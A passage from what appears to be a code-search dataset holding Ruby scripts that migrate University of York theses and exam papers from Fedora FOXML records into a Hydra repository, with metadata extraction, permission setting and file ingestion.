[Hydra::AccessControls::Permission.new({:name=> \"public\", :type=>\"group\", :access=>\"read\"}), Hydra::AccessControls::Permission.new({:name=>\"admin\", :type=> \"group\", :access => \"edit\"})]\r\n\t\tmfset.depositor = user\r\n\t\tmfset.save!\r\n\t\tputs \"fileset \" + mfset.id + \" saved\"\r\n \r\n\t # CHOSS this is here because the system tended to lock up during multiple uploads - suspect competition for resources or threading issue somewhere\r\n\t\tsleep 20 \t\t\r\n\t\t thesis.mainfile << mfset\r\n\t\tsleep 20 \r\n\t\t thesis.save!\r\n\trescue\r\n\t puts \"QUACK QUACK OOPS! addition of external file unsuccesful\"\r\n\tend \r\n puts \"all done for external content mainfile \" + id \r\n\r\n# process external THESIS_ADDITIONAL files\r\nfor key in additional_filesets.keys() do\t\t\r\n\r\n\t\tadditional_thesis_fileset = additional_filesets[key]\t\t\r\n\t\tputs \"found additional fileset \" + additional_thesis_fileset.label\r\n\t\t#add metadata to make fileset appear as a child of the object\r\n actor = CurationConcerns::Actors::FileSetActor.new(additional_thesis_fileset, user)\r\n actor.create_metadata(thesis)\r\n\t\t#Declare file as external resource\r\n\t\turl = additional_thesis_fileset.external_file_url\r\n Hydra::Works::AddExternalFileToFileSet.call(additional_thesis_fileset, url, 'external_url')\r\n additional_thesis_fileset.save!\r\n\t\tthesis.members << additional_thesis_fileset\r\n thesis.save!\r\n\t\tputs \"all done for additional file \" + key\r\nend\r\n\t#when done, explicity reset big things to empty to ensure resources not hung on to\r\n\tadditional_filesets = {} \r\n doc = nil\r\n\tmapping_text = nil\r\n\tcollection_mappings = {}\t\r\n\r\n \r\nend", "title": "" }, { "docid": "f1d9b0e5bac1afa21de93e65f8320a86", "score": "0.58867776", "text": "def migrate_thesis(path, contentpath, collection_mapping_doc_path, user)\r\n# mfset = Dlibhydra::FileSet.new # FILESET. # defin this at top because otherwise expects to find it in CurationConcerns module \r\nresult = 1 # default is fail\r\nmfset = Object::FileSet.new # FILESET. # define this at top because otherwise expects to find it in CurationConcerns module . \r\ncommon = CommonMigrationMethods.new\r\n\r\nputs \"migrating a thesis using path \" + path +\" and contentPath \" + contentpath + \" collection_maPPING_DOC_PATH \" + collection_mapping_doc_path\t\t\r\n\tfoxmlpath = path\t\r\n\t# enforce UTF-8 compliance when opening foxml file\r\n\tdoc = File.open(path){ |f| Nokogiri::XML(f, Encoding::UTF_8.to_s)}\r\n\t# doesnt resolve nested namespaces, this fixes that\r\n ns = doc.collect_namespaces\t\r\n\t\r\n\t# establish parent collection - map old to new from mappings file\r\n\tcollection_mappings = {}\r\n\tmapping_text = File.read(collection_mapping_doc_path)\r\n\tcsv = CSV.parse(mapping_text)\r\n\tcsv.each do |line| \r\n\t\told_id = line[0]\r\n\t\tnew_id = line[2]\t\t\r\n\t\tcollection_mappings[old_id] = new_id\r\n\tend\r\n\t\r\n\t\r\n\t# now see if the collection mapping is in here\r\n\t# make sure we have current rels-ext version\r\n\trels_nums = doc.xpath(\"//foxml:datastream[@ID='RELS-EXT']/foxml:datastreamVersion/@ID\",ns)\t\r\n\trels_all = all = rels_nums.to_s\r\n\tcurrent_rels = rels_all.rpartition('.').last \r\n\trels_current_version = 'RELS-EXT.' + current_rels\r\n\tuntrimmed_former_parent_pid = doc.xpath(\"//foxml:datastream[@ID='RELS-EXT']/foxml:datastreamVersion[@ID='#{rels_current_version}']/foxml:xmlContent/rdf:RDF/rdf:Description/rel:isMemberOf/@rdf:resource\",ns).to_s\t\r\n\t# remove unwanted bits \r\n\tformer_parent_pid = untrimmed_former_parent_pid.sub 'info:fedora/york', 'york'\r\n\tparentcol = collection_mappings[former_parent_pid]\r\n\t# find max dc version\r\n\tnums = doc.xpath(\"//foxml:datastream[@ID='DC']/foxml:datastreamVersion/@ID\",ns)\t\r\n\tall = nums.to_s\r\n\tcurrent = all.rpartition('.').last \r\n\tcurrentVersion = 'DC.' + current\r\n\t\r\n\t# find the max THESIS_MAIN version\r\n\tthesis_nums = doc.xpath(\"//foxml:datastream[@ID='THESIS_MAIN']/foxml:datastreamVersion/@ID\",ns)\t\r\n\tthesis_all = thesis_nums.to_s\r\n\tthesis_current = thesis_all.rpartition('.').last \r\n\tcurrentThesisVersion = 'THESIS_MAIN.' + thesis_current\r\n\t# GET CONTENT - get the location of the pdf as a string\r\n\tpdf_loc = doc.xpath(\"//foxml:datastream[@ID='THESIS_MAIN']/foxml:datastreamVersion[@ID='#{currentThesisVersion}']/foxml:contentLocation/@REF\",ns).to_s\t\r\n\t\r\n\t# CONTENT FILES\r\n\t# this has local.fedora.host, which will be wrong. need to replace this \r\n\t# reads http://local.fedora.server/digilibImages/HOA/current/X/20150204/xforms_upload_whatever.tmp.pdf\r\n\t# needs to read (for development purposes on real machine) https://yodlapp3.york.ac.uk/digilibImages/HOA/current/X/20150204/xforms_upload_4whatever.tmp.pdf\r\n\t# newpdfloc = pdf_loc.sub 'local.fedora.server', 'yodlapp3.york.ac.uk' # CHOSS we dont need this any more as we cant download remotely\r\n\tlocalpdfloc = pdf_loc.sub 'http://local.fedora.server', contentpath #this will be added to below. once we have external urls can add in relevant url\r\n # ADDED 14th June for base name**********************************************************\t\r\n\tbasename = File.basename(localpdfloc)\r\n\t# comment out line below if redirecting to external url rather than ingesting local\r\n\tlocalpdfloc = contentpath + basename #not a repeat but an addition\r\n\t# end of addition*****************************\t\r\n\t\r\n\t# dont continue to migrate file if content file not found\r\n\tif !File.exist?(localpdfloc)\r\n\t\tputs 'content file ' + localpdfloc.to_s + ' not found'\t\r\n\t\treturn\t\r\n\tend \r\n\t# for initial development purposes on my machine) http://yodlapp3.york.ac.uk/digilibImages/HOA/current/X/20150204/xforms_upload_4whatever.tmp.pdf\r\n\t\t\r\n\t\r\n\t# create a new thesis implementing the dlibhydra models\r\n\tthesis = Object::Thesis.new\r\n\r\n\t# once depositor and permissions defined, object can be saved at any time\r\n\tthesis.permissions = [Hydra::AccessControls::Permission.new({:name=> \"york\", :type=>\"group\", :access=>\"read\"}), Hydra::AccessControls::Permission.new({:name=>\"admin\", :type=> \"group\", :access => \"edit\"})]\r\n\tthesis.depositor = user\r\n\t\r\n\t# start reading and populating data\r\n\ttitleArray = doc.xpath(\"//foxml:datastream[@ID='DC']/foxml:datastreamVersion[@ID='#{currentVersion}']/foxml:xmlContent/oai_dc:dc/dc:title/text()\",ns).to_s\r\n\tt = titleArray.to_s \r\n\tt.gsub!(\"&amp;\",\"&\")\r\n\t\t\r\n\tthesis.title = [t]\t# 1 only\t\r\n\t# thesis.preflabel = thesis.title[0] # skos preferred lexical label (which in this case is same as the title. 1 0nly but can be at same time as title \r\n\tformer_id = doc.xpath(\"//foxml:datastream[@ID='DC']/foxml:datastreamVersion[@ID='#{currentVersion}']/foxml:xmlContent/oai_dc:dc/dc:identifier/text()\",ns).to_s\r\n\tif former_id.length > 0\r\n\tthesis.former_id = [former_id]\r\n\tend\r\n\t# could really do with a file to list what its starting work on as a cleanup tool. doesnt matter if it doesnt get this far as there wont be anything to clean up\r\n\ttname = \"tracking.txt\"\r\n\ttrackingfile = File.open(tname, \"a\")\r\n\ttrackingfile.puts( \"am now working on \" + former_id + \" title:\" + t )\r\n\ttrackingfile.close\t\r\n\t creatorArray = doc.xpath(\"//foxml:datastream[@ID='DC']/foxml:datastreamVersion[@ID='#{currentVersion}']/foxml:xmlContent/oai_dc:dc/dc:creator/text()\",ns).to_s\r\n\t thesis.creator_string = [creatorArray.to_s]\r\n\t\r\n\t# abstract is currently the description. optional field so test presence\r\n\tthesis_abstract = doc.xpath(\"//foxml:datastream[@ID='DC']/foxml:datastreamVersion[@ID='#{currentVersion}']/foxml:xmlContent/oai_dc:dc/dc:description/text()\",ns).to_s\r\n\tif thesis_abstract.length > 0\r\n\t\tthesis_abstract.gsub!(\"&amp;\",\"&\")\r\n\t\tthesis.abstract = [thesis_abstract] # now multivalued\r\n\tend\r\n\t\r\n\t# date_of_award (dateAccepted in the dc created by the model) 1 only\r\n\tthesis_date = doc.xpath(\"//foxml:datastream[@ID='DC']/foxml:datastreamVersion[@ID='#{currentVersion}']/foxml:xmlContent/oai_dc:dc/dc:date/text()\",ns).to_s\r\n\tthesis.date_of_award = thesis_date\r\n\t# advisor 0... 1 so check if present\r\n\tthesis_advisor = []\r\n\t doc.xpath(\"//foxml:datastream[@ID='DC']/foxml:datastreamVersion[@ID='#{currentVersion}']/foxml:xmlContent/oai_dc:dc/dc:contributor/text()\",ns).each do |i|\r\n\t\tthesis_advisor.push(i.to_s)\r\n\tend\r\n\tthesis_advisor.each do |c|\r\n\t\tthesis.advisor_string.push(c)\r\n\tend\t\r\n # departments and institutions \r\n locations = []\r\n\t doc.xpath(\"//foxml:datastream[@ID='DC']/foxml:datastreamVersion[@ID='#{currentVersion}']/foxml:xmlContent/oai_dc:dc/dc:publisher/text()\",ns).each do |i|\r\n\t locations.push(i.to_s)\r\n\t end\r\n\t inst_preflabels = []\r\n\t locations.each do |loc|\r\n\t\t# awarding institution id (just check preflabel here as few options)\r\n\t\tif loc.include? \"University of York\"\r\n\t\t\tinst_preflabels.push(\"University of York\")\r\n\t\telsif loc.include? \"York.\" \r\n\t\t\tinst_preflabels.push(\"University of York\")\r\n\t\telsif loc.include? \"York:\"\r\n\t\t\tinst_preflabels.push(\"University of York\")\r\n\t\telsif loc.include? \"Oxford Brookes University\"\r\n\t\t\tinst_preflabels.push(\"Oxford Brookes University\") #I'v just added this as a minority of our theses come from here!\r\n\t\tend\r\n\t\tinst_preflabels.each do | preflabel|\r\n\t\t\tid = common.get_resource_id('institution', preflabel)\r\n\t\t\tthesis.awarding_institution_resource_ids+=[id]\r\n\t\tend\r\n\t\t\t\t\r\n\t\t# department\r\n\t\tdept_preflabels = common.get_department_preflabel(loc)\t\t \r\n\t\tif dept_preflabels.empty?\r\n\t\t\tputs \"no department found\"\r\n\t\tend\r\n\t\tdept_preflabels.each do | preflabel|\r\n\t\t\tid = common.get_resource_id('department', preflabel)\r\n\t\t\tthesis.department_resource_ids +=[id]\r\n\t\tend\r\n\tend\r\n\t\r\n\t\r\n\t# qualification level, name, resource type\r\n\ttypesToParse = [] #\r\n\tdoc.xpath(\"//foxml:datastream[@ID='DC']/foxml:datastreamVersion[@ID='#{currentVersion}']/foxml:xmlContent/oai_dc:dc/dc:type/text()\",ns).each do |t|\t\r\n\ttypesToParse.push(t)\r\n\tend\r\n\t# qualification names (object)\r\n\tqualification_name_preflabels = common.get_qualification_name_preflabel(typesToParse)\r\n\tif qualification_name_preflabels.length == 0 \r\n\t\tputs \"no qualification name preflabel found\"\r\n\tend\r\n\tqualification_name_preflabels.each do |q|\t\r\n\t\tqname_id = common.get_resource_id('qualification_name',q)\r\n\t\tif qname_id.to_s != \"unfound\"\t\t\r\n\t\t\tthesis.qualification_name_resource_ids+=[qname_id]\r\n\t\telse\r\n\t\t\tputs \"no qualification nameid found\"\r\n\t\tend\r\n\tend\t\r\n\t\r\n\t# qualification levels (yml file). there can only be one\r\n\ttypesToParse.each do |t|\t\r\n\ttype_to_test = t.to_s\r\n\t#degree_levels = common.get_qualification_level_term(type_to_test)\r\n\tdegree_levels = []\r\n\tlevel = common.get_qualification_level_term(type_to_test)\r\n\tif !degree_levels.include? level\r\n\t\tdegree_levels.push(level)\r\n\tend\t\r\n\tdegree_levels.each do |dl|\r\n\t\tthesis.qualification_level += [dl]\r\n\tend\r\n\r\n\t# now check for certain award types, and if found map to subjects (dc:subject not dc:11 subject)\r\n\t# resource Types map to dc:subject. at present the only official value is Dissertations, Academic\r\n\ttheses = [ 'theses','Theses','Dissertations','dissertations' ] \r\n\tif theses.include? type_to_test\t\r\n\t# not using methods below yet - or are we? subjects[] no longer in model\r\n\t\tsubject_id = common.get_resource_id('subject',\"Dissertations, Academic\")\r\n\t\tthesis.subject_resource_ids +=[subject_id]\t\t \r\n\tend\r\nend\t\r\n\tthesis_language = []\r\n\tdoc.xpath(\"//foxml:datastream[@ID='DC']/foxml:datastreamVersion[@ID='#{currentVersion}']/foxml:xmlContent/oai_dc:dc/dc:language/text()\",ns).each do |lan|\r\n\tthesis_language.push(lan.to_s)\r\n\tend\r\n\t# this should return the key as that allows us to just search on the term\r\n\tthesis_language.each do |lan| #0 ..n\r\n\tstandard_language = \"unfound\"\r\n\t standard_language = common.get_standard_language(lan.titleize)#capitalise first letter\r\n\t\tif standard_language!= \"unfound\"\r\n\t\t\tthesis.language+=[standard_language]\r\n\t\tend\r\n\tend\t\r\n\t\r\n\t# dc.keyword (formerly subject, as existing ones from migration are free text not lookup\r\n\tthesis_subject = []\r\n\tdoc.xpath(\"//foxml:datastream[@ID='DC']/foxml:datastreamVersion[@ID='#{currentVersion}']/foxml:xmlContent/oai_dc:dc/dc:subject/text()\",ns).each do |s|\r\n\tthesis_subject.push(s.to_s)\r\n\tend\r\n\tthesis_subject.each do |s|\r\n\t\ts.gsub!(\"&amp;\",\"&\")\r\n\t\tthesis.keyword+=[s] #TODO::THIS WAS ADDED TO FEDORA AS DC.RELATION NOT DC(OR DC11).SUBJECT!!!\r\n\tend\t\r\n\t# dc11.subject??? not required for migration - see above\r\n\t\t\r\n\t# rights.\t\r\n\t# rights holder 0...1\r\n\t# checked data on dlib. all have the same rights statement and url cited, so this should work fine, as everything else is rights holders \r\n thesis_rightsholder = doc.xpath(\"//foxml:datastream[@ID='DC']/foxml:datastreamVersion[@ID='#{currentVersion}']/foxml:xmlContent/oai_dc:dc/dc:rights/text()[not(contains(.,'http')) and not (contains(.,'licenses')) ]\",ns).to_s\r\n if thesis_rightsholder.length > 0\r\n\tthesis.rights_holder=[thesis_rightsholder] \r\n end\r\n\r\n\t# license set a default which will be overwritten if one is found. its the url, not the statement. use licenses.yml not rights_statement.yml\r\n\t# For full york list see https://dlib.york.ac.uk/yodl/app/home/licences. edit in rights.yml\r\n\tdefaultLicence = \"http://dlib.york.ac.uk/licences#yorkrestricted\"\r\n\tthesis_rights = defaultLicence\r\n\tthesis_rights = doc.xpath(\"//foxml:datastream[@ID='DC']/foxml:datastreamVersion[@ID='#{currentVersion}']/foxml:xmlContent/oai_dc:dc/dc:rights/text()[contains(.,'http')]\",ns).to_s\r\n\t\r\n\tnewrights = common.get_standard_rights(thesis_rights)# all theses currently York restricted \t\r\n\t\tif newrights.length > 0\r\n\t\tthesis_rights = newrights\r\n\t\t\tthesis.rights=[thesis_rights]\t\t\t\r\n\t\tend\t\r\n\t\t\r\n\t\r\n\t# save\t\r\n\tthesis.save!\r\n\tid = thesis.id\r\n\tputs \"thesis id was \" +id \r\n\t# put in collection\t\r\n\tcol = Object::Collection.find(parentcol.to_s)\t\r\n\tputs \"id of col was:\" +col.id\r\n\tputs \" collection title was \" + col.title[0].to_s\r\n\tcol.members << thesis \r\n\tcol.save!\r\n\t\r\n\t# this is the section that keeps failing\r\n\tbegin\r\n\t\t# see https://github.com/pulibrary/plum/blob/master/app/jobs/ingest_mets_job.rb#L54 and https://github.com/pulibrary/plum/blob/master/lib/tasks/ingest_mets.rake#L3-L4\r\n\t\tusers = Object::User.all #otherwise it will use one of the included modules\r\n\t\tuser = users[0]\t\r\n\t\tmfset.filetype = 'embeddedfile'\r\n\t\tmfset.title = [\"THESIS_MAIN\"]\t#needs to be same label as content file in foxml \r\n\t\tmfset.permissions = [Hydra::AccessControls::Permission.new({:name=> \"york\", :type=>\"group\", :access=>\"read\"}), Hydra::AccessControls::Permission.new({:name=>\"admin\", :type=> \"group\", :access => \"edit\"})]\r\n\t\tmfset.depositor = user\r\n\t\tmfset.save!\r\n\t\r\n\t\t# THE NEXT FOUR LINES UPLOAD THE CONTENT INTO THE FILESET AND CREATE A THUMBNAIL\r\n\t\r\n\t\t# local_file = Hydra::Derivatives::IoDecorator.new(File.open(localpdfloc, \"rb\")) #CHOSS IOdecorator gets called further down the stack anyway\r\n\t\tlocal_file = File.open(localpdfloc, \"rb\")\t\t\r\n\t\trelation = \"original_file\"\t\r\n\t\tfileactor = CurationConcerns::Actors::FileActor.new(mfset,relation,user)\r\n\t\tfileactor.ingest_file(local_file) #according to the documentation this method should produce derivatives as well\r\n\t\tmfset.save!\t\r\n\t\r\n\t\t# THe NEXT TWO LINES ARE NEEDED TO ATTACH THE FILESET AND CONTENT TO THE WORK \r\n\t\tactor = CurationConcerns::Actors::FileSetActor.new(mfset, user)\r\n\t\tputs \"CHOSS about to create metadata for thesis content\"\r\n\t\tactor.create_metadata(thesis)#name of object its to be added to #if you leave this out it wont create the metadata showing the related fileset\r\n\t\tputs \"CHOSS created metadata for thesis content\"\r\n\t\t# create_content does not seem to be required if we are using fileactor.ingest_file, and does not make any difference to download icon\r\n\t\t# actor.create_content(contentfile, relation = 'original_file' )\r\n\t\t# actor.create_content(contentfile) #15.03.2017 CHOSS\r\n\t\t# actor.create_content(local_file)\r\n\t\t# TELL THESIS THIS IS THE MAIN_FILE. assume this also sets mainfile_ids[]\r\n rescue\r\n\t # CHOSS this may creat a problem during multiple uploads\r\n\t\tsleep 20 \t\t\r\n\t\t thesis.mainfile << mfset\t\r\n\t\tsleep 20 \r\n\t\t thesis.save!\r\n\t\tresult = 1\r\n\t\treturn result\r\n end\r\n # try explicitly cloing local_file and setting agents to nil so garbage will be collected\r\n # puts \"now about to close file \"\r\n # local_file.close #doesnt seem to help\r\n # puts \" closed local file \"\r\n # fileactor = nil\r\n # puts \"fileactor nilled\"\r\n # actor = nil \r\n # puts \"actor nilled\"\r\n # actor.nil\r\n # puts \"files closed, actors nilled\"\r\n puts \"all done for file \" + id \r\n result = 0\r\n return result # give it a return value\r\nend", "title": "" }, { "docid": "87279872fd045a50e213148e6fd19e59", "score": "0.5857986", "text": "def migrate_exam(path, content_server_url, collection_mapping_doc_path, user) \r\n\tresult = 1 # default is fail\r\n\tmfset = Object::FileSet.new # FILESET. # define this at top because otherwise expects to find it in CurationConcerns module . (app one is not namespaced)\r\n\tcommon = CommonMigrationMethods.new\r\n\tputs \"migrating exam with content url\"\t\r\n\tfoxmlpath = path.to_s\t\t\r\n\t# enforce UTF-8 compliance when opening foxml file\r\n\tdoc = File.open(path){ |f| Nokogiri::XML(f, Encoding::UTF_8.to_s)}\r\n\t# doesnt resolve nested namespaces, this fixes that\r\n ns = doc.collect_namespaces\t\r\n\t# stage 1 to establish parent collection - map old to new from mappings file\r\n\tcollection_mappings = {}\r\n\tmapping_text = File.read(collection_mapping_doc_path)\r\n\tcsv = CSV.parse(mapping_text)\r\n\tcsv.each do |line| \r\n\t\told_id = line[0]\r\n\t\tnew_id = line[2]\t\t\r\n\t\tcollection_mappings[old_id] = new_id\r\n\tend\r\n\t# make sure we have current rels-ext version\r\n\trels_nums = doc.xpath(\"//foxml:datastream[@ID='RELS-EXT']/foxml:datastreamVersion/@ID\",ns)\t\r\n\trels_all = all = rels_nums.to_s\r\n\tcurrent_rels = rels_all.rpartition('.').last \r\n\trels_current_version = 'RELS-EXT.' + current_rels\r\n\tuntrimmed_former_parent_pid = doc.xpath(\"//foxml:datastream[@ID='RELS-EXT']/foxml:datastreamVersion[@ID='#{rels_current_version}']/foxml:xmlContent/rdf:RDF/rdf:Description/rel:isMemberOf/@rdf:resource\",ns).to_s\t\r\n\t# remove unwanted bits \r\n\tformer_parent_pid = untrimmed_former_parent_pid.sub 'info:fedora/york', 'york'\r\n\tparentcol = collection_mappings[former_parent_pid]\r\n\t# find max dc version\r\n\tnums = doc.xpath(\"//foxml:datastream[@ID='DC']/foxml:datastreamVersion/@ID\",ns)\t\r\n\tall = nums.to_s\r\n\tcurrent = all.rpartition('.').last \r\n\tcurrentVersion = 'DC.' + current\r\n\t\r\n\t# find the max EXAM_PAPER version. no variants on this\r\n\texam_paper_nums = doc.xpath(\"//foxml:datastream[@ID='EXAM_PAPER']/foxml:datastreamVersion/@ID\",ns)\t\r\n\tidstate = doc.xpath(\"//foxml:datastream[@ID='EXAM_PAPER']/@STATE\",ns) \r\n\t#note EXAM_PAPER state isnt active, but dont stop processing\r\n\t#ingest_note = \"\"\r\n\tif !(idstate.to_s == \"A\")\t\r\n\t\t#ingest_note = \" no active EXAM_PAPER\"\r\n\t\tresult = 2\r\n\t\t#return result #in some cases there may be no active exam paper\r\n\tend\t\r\n\t\r\n\texam_paper_all = exam_paper_nums.to_s\r\n\texam_paper_current = exam_paper_all.rpartition('.').last \r\n\tcurrentExamPaperVersion = 'EXAM_PAPER.' + exam_paper_current\r\n\t# GET CONTENT - get the location of the pdf as a string\r\n\tpdf_loc = doc.xpath(\"//foxml:datastream[@ID='EXAM_PAPER']/foxml:datastreamVersion[@ID='#{currentExamPaperVersion}']/foxml:contentLocation/@REF\",ns).to_s\t\r\n\t#if EXAM_PAPERlocation isnt found, set result code accordingly\r\n\tif pdf_loc.length <= 0 \r\n\t\tresult = 2 \r\n\t#return result #in this case we should process anyway\r\n\tend\t\r\n\t#this is because exam papers may exist in several locations\r\n\t#establish permissions from ACL datastream before setting in object. set a variable accordingly for easy reference \r\n\t#throughout class\r\n\t# find max ACL version\r\n\tacl_nums = doc.xpath(\"//foxml:datastream[@ID='ACL']/foxml:datastreamVersion/@ID\",ns)\t\r\n\tacl_all = nums.to_s\r\n\tacl_current = all.rpartition('.').last \r\n\tacl_currentVersion = 'ACL.' + current\r\n\t#get access value for user 'york'\r\n\tyorkaccess = doc.xpath(\"//foxml:datastream[@ID='ACL']/foxml:datastreamVersion[@ID='#{acl_currentVersion}']/foxml:xmlContent/acl:container/acl:role[@name='york']/text()\",ns).to_s#get access value for user 'york' \r\n\t\r\n\t# CONTENT FILES\r\n\t# this has local.fedora.host, which will be wrong. need to replace this with whereever they will be sitting \r\n\t# reads http://local.fedora.server/digilibImages/HOA/current/X/20150204/xforms_upload_whatever.tmp.pdf\r\n\t# needs to read (for development purposes on real machine) http://dlib.york.ac.uk/digilibImages/HOA/current/X/20150204/xforms_upload_4whatever.tmp.pdf\r\n\t#and the content_server_url is set in the parameters :-)\r\n\tif pdf_loc.length > 0\r\n\t\texternalpdfurl = pdf_loc.sub 'http://local.fedora.server', content_server_url \r\n\t\texternalpdflabel = \"EXAM_PAPER\" #default\r\n\t\t# label needed for gui display\r\n\t\tlabel = doc.xpath(\"//foxml:datastream[@ID='EXAM_PAPER']/foxml:datastreamVersion[@ID='#{currentExamPaperVersion}']/@LABEL\",ns).to_s \r\n\t\tif label.length > 0\r\n\t\t\texternalpdflabel = label #in all cases I can think of this will be the same as the default, but just to be sure\r\n\t\tend\r\n\t\t#these wont have the same name.need to search for them. utilty scripts available\r\n\t\t# hash for any additional files that may emerge. may not be any. needs to be done here rather than later to ensure we obtain overridden version of FileSet class rather than CC as local version not namespaced\r\n\tend\r\n additional_filesets = {}\r\n\tadditional_file_set_number = 0\r\n\telems = doc.xpath(\"//foxml:datastream[@ID]\",ns)\r\n\telems.each { |id| \r\n\t\tidname = id.attr('ID')\r\n\t\tif ( idname.start_with?('EXAM_PAPER_ADDITIONAL') || (idname.match(/^EXAM_PAPER[1-9]/) ) )\r\n\t\t\t#ok, now need to find the latest version \r\n\t\t\tversion_nums = doc.xpath(\"//foxml:datastream[@ID='#{idname}']/foxml:datastreamVersion/@ID\",ns)\r\n\t\t\tcurrent_version_num = version_nums.to_s.rpartition('.').last\r\n\t\t\tcurrent_version_name = idname + \".\" + current_version_num\r\n\t\t\taddit_file_loc = doc.xpath(\"//foxml:datastream[@ID='#{idname}']/foxml:datastreamVersion[@ID='#{current_version_name}']/foxml:contentLocation/@REF\",ns).to_s\r\n\t\t\taddit_file_loc = addit_file_loc.sub 'http://local.fedora.server', content_server_url\r\n\t\t\tfileset = Object::FileSet.new\r\n\t\t\t#fileset.filetype = 'externalurl'\r\n\t\t\tfileset.filetype = 'managed' #ie streamed from apache\r\n\t\t\tfileset.external_file_url = addit_file_loc\r\n\t\t\tfileset.title = [idname]\r\n\t\t\t# may have a label - needed for display- that is different to the datastream title\r\n\t\t\tlabel = doc.xpath(\"//foxml:datastream[@ID='#{idname}']/foxml:datastreamVersion[@ID='#{current_version_name}']/@LABEL\",ns).to_s \r\n\t\t\t#dont standardise the labels, keep the original labels\r\n\t\t\tif label.length > 0\r\n\t\t\t\tfileset.label = label\r\n\t\t\telse\r\n\t\t\t\tfileset.label = \"EXAM_PAPER_ADDITIONAL\" #give it a default label\r\n\t\t\tend #end check of label length\r\n\t\t\tfileset.permissions = [Hydra::AccessControls::Permission.new({:name=> \"york\", :type=>\"group\", :access=>\"read\"}), Hydra::AccessControls::Permission.new({:name=>\"admin\", :type=> \"group\", :access => \"edit\"})]\r\n\t\t\tfileset.depositor = user\r\n\t\t\tadditional_filesets[idname] = fileset\r\n\t\tend #end check of idname\r\n\t } #should be end of foreach loop\t\r\n\t\t\r\n\t# create a new exam_paper implementing the dlibhydra models\r\n\texam = Object::ExamPaper.new\r\n\t\r\n\t# once depositor and permissions defined, object can be saved at any time\r\n\t#there will be different permissions according to whether these are from the restricted exams\r\n\t#or the general york availability exams. This is determined from the ACL datastream.\r\n\tif yorkaccess == 'DENY'\r\n\texam.permissions = [Hydra::AccessControls::Permission.new({:name=> \"admin\", :type=>\"group\", :access=>\"read\"}), Hydra::AccessControls::Permission.new({:name=>\"admin\", :type=> \"group\", :access => \"edit\"})]\r\n\telse\r\n\t\texam.permissions = [Hydra::AccessControls::Permission.new({:name=> \"york\", :type=>\"group\", :access=>\"read\"}), Hydra::AccessControls::Permission.new({:name=>\"admin\", :type=> \"group\", :access => \"edit\"})]\r\n\tend \r\n\texam.depositor = user\r\n\t\r\n\t# start reading and populating data\r\n\ttitle = doc.xpath(\"//foxml:datastream[@ID='DC']/foxml:datastreamVersion[@ID='#{currentVersion}']/foxml:xmlContent/oai_dc:dc/dc:title/text()\",ns).to_s\r\n\t#title = t[0]\r\n\ttitle = title.to_s\r\n\ttitle.gsub!(\"&amp;\",\"&\")\r\n\ttitle = title \r\n\tputs \"title is\" + title\r\n\texam.title = [title]\t# 1 only\t\r\n\t# thesis.preflabel = thesis.title[0] # skos preferred lexical label (which in this case is same as the title. 1 0nly but can be at same time as title \r\n\t#better than using dc:identifier as this element is not always present in older records\r\n\tformer_id = doc.xpath(\"//foxml:digitalObject/@PID\",ns).to_s \r\n\texam.former_id = [former_id]\r\n\t# could really do with a file to list what its starting work on as a cleanup tool. doesnt matter if it doesnt get this far as there wont be anything to clean up\r\n\tstringtime = Time.now.strftime('%Y-%m-%d_%H-%M-%S')\r\n\ttname = \"exam_tracking\" + stringtime + \".txt\"\r\n\ttrackingfile = File.open(tname, \"a\")\r\n\ttrackingfile.puts( \"am now working on \" + former_id + \" title:\" + title + \" \" + Time.now.strftime('%Y-%m-%d_%H-%M-%S'))\r\n\t#trackingfile.close\t\r\n\t#creator\r\n\t#this needs to consult the authority list as it will be a department\r\n\t creator = doc.xpath(\"//foxml:datastream[@ID='DC']/foxml:datastreamVersion[@ID='#{currentVersion}']/foxml:xmlContent/oai_dc:dc/dc:creator/text()\",ns).to_s\r\n\t\t\r\n\t #if the creator is empty we should try for publisher - a few older ones have this instead of creator\r\n\t if !(creator.length > 0)\r\n\t\tcreator = doc.xpath(\"//foxml:datastream[@ID='DC']/foxml:datastreamVersion[@ID='#{currentVersion}']/foxml:xmlContent/oai_dc:dc/dc:publisher/text()\",ns).to_s\r\n\t end\r\n\t #keep this specific to exam papers in case it occurs in other types of record\r\n\t #where the originating department may not be Biology\r\n\tif creator.length > 0 \r\n\t\tif\r\n\t\t\tcreator == \"OCR\" || creator == \"AQA\" || creator == \"Edexcel\"\r\n\t\t\tcreator = \"biology\" #just keep it to the minimal searchterm\r\n\t\tend\r\n\t\tif\r\n\t\t\tcreator.include? \"Making Faces\" \r\n\t\t\tcreator = \"history of art\" #just keep it to the minimal searchterm\r\n\t\tend\r\n\t\t\r\n\t\t\r\n\t\tdept_preflabels = common.get_department_preflabel(creator)\r\n\t\tif dept_preflabels.empty?\r\n\t\t\tputs \"no department found\"\r\n\t\tend\t\t\r\n\t\t#open tracking file again\r\n\t\ttrackingfile = File.open(tname, \"a\")\r\n\t\tdept_preflabels.each do | preflabel|\r\n\t\t \r\n\t\t\tid = common.get_resource_id('department', preflabel)\r\n\t\t\ttrackingfile.puts(\"got fedora id for department name\"+ \" \" + Time.now.strftime('%Y-%m-%d_%H-%M-%S'))\t\t\t\r\n\t\t\texam.creator_resource_ids = [id]\t \r\n\t\t\t\r\n\t\tend\r\n\t end\r\n\t\r\n\t#module code will be got by the dc:identifier that doesnt start with 'york'\r\n\t#check if there is any authorty lookup for this????????????????? #KALE actual concepts dont seem to be ready yet -Cant so far see any csv or yml file present to generate these from, or code in tasks to create objects so think have just been listed in models as \"like to haves\" \r\n\tdcids = []\r\n\tdoc.xpath(\"//foxml:datastream[@ID='DC']/foxml:datastreamVersion[@ID='#{currentVersion}']/foxml:xmlContent/oai_dc:dc/dc:identifier/text()\",ns).each do |dcid|\r\n\t\tdcids.push(dcid.to_s)\r\n\tend\r\n\t\r\n\tdcids.each do |dc_identifier|\r\n\tif (!dc_identifier.start_with?('york:') )\t\t\r\n\t\t\texam.module_code += [dc_identifier.strip]\t\t\r\n\t\tend\t\r\n\tend\r\n\t\r\n\t\r\n\t\r\n\t#qualification_name and level\r\n\t#not all records contain this data so test for presence\r\n\t#is found in dc:type as there is no publisher elelement\r\n\t# qualification level, name, resource type\r\n\ttypesToParse = [] #\r\n\tdoc.xpath(\"//foxml:datastream[@ID='DC']/foxml:datastreamVersion[@ID='#{currentVersion}']/foxml:xmlContent/oai_dc:dc/dc:type/text()\",ns).each do |t|\t\r\n\t\tif t.to_s.strip == \"Master of Science (MSc), Master of Mathematics (MMath)\"\r\n\t\t\ttypesToParse.push(\"Master of Science (MSc)\")\r\n\t\t\ttypesToParse.push(\"Master of Mathematics 